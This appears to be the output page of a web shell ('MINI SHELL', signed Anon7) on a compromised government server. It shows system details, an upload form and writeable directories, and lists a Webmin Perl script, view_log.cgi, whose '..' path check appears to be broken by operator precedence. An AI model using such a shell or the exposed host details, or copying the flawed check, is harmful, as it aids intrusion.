MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/webalizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/webalizer/view_log.cgi
#!/usr/bin/perl
# view_log.cgi
# Display the report for some log file

require './webalizer-lib.pl';
&ReadParse();

if ($ENV{'PATH_INFO'} =~ /^\/([^\/]+)(\/[^\/]*)$/) {
	# Proper path escaping
	$escaped = $1;
	$file = $2;
	$log = &un_urlize($escaped);
	}
elsif ($ENV{'PATH_INFO'} =~ /^(\/.*)(\/[^\/]*)$/) {
	# Path has been decode somehow, perhaps by proxy.. deal
	$log = $1;
	$file = $2;
	}
else {
	&error($text{'view_epath'});
	}
$file =~ /\.\./ || $file =~ /\<|\>|\||\0/ && &error($text{'view_efile'});
&can_edit_log($log) || &error($text{'view_ecannot'});

$lconf = &get_log_config($log) || &error($text{'view_elog'}." : $log");
$full = "$lconf->{'dir'}$file";
open(FILE, $full) || &error($text{'view_eopen'}." : $full");

# Display file contents
if ($full =~ /\.(html|htm)$/i && !$config{'naked'}) {
	while(read(FILE, $buf, 1024)) {
		$data .= $buf;
		}
	close(FILE);
	$data =~ /<TITLE>(.*)<\/TITLE>/i;
	$title = $1;
	$data =~ s/^[\000-\377]*<BODY.*>//i;
	$data =~ s/<\/BODY>[\000-\377]*$//i;

	&ui_print_header(undef, $title || $text{'view_title'}, "");
	print $data;
	if ($access{'view'}) {
		&ui_print_footer("", $text{'index_return'});
		}
	else {
		&ui_print_footer(
			 "/$module_name/edit_log.cgi?file=$escaped",
			$text{'edit_return'},
			"", $text{'index_return'});
		}
	}
else {
	print "Content-type: ",$full =~ /\.png$/i ? "image/png" :
			       $full =~ /\.gif$/i ? "image/gif" :
			       $full =~ /\.(jpg|jpeg)$/i ? "image/jpeg" :
			       $full =~ /\.(html|htm)$/i ? "text/html" :
							   "text/plain","\n";
	print "\n";
	while(read(FILE, $buf, 1024)) {
		print $buf;
		}
	close(FILE);
	}


Anon7 - 2021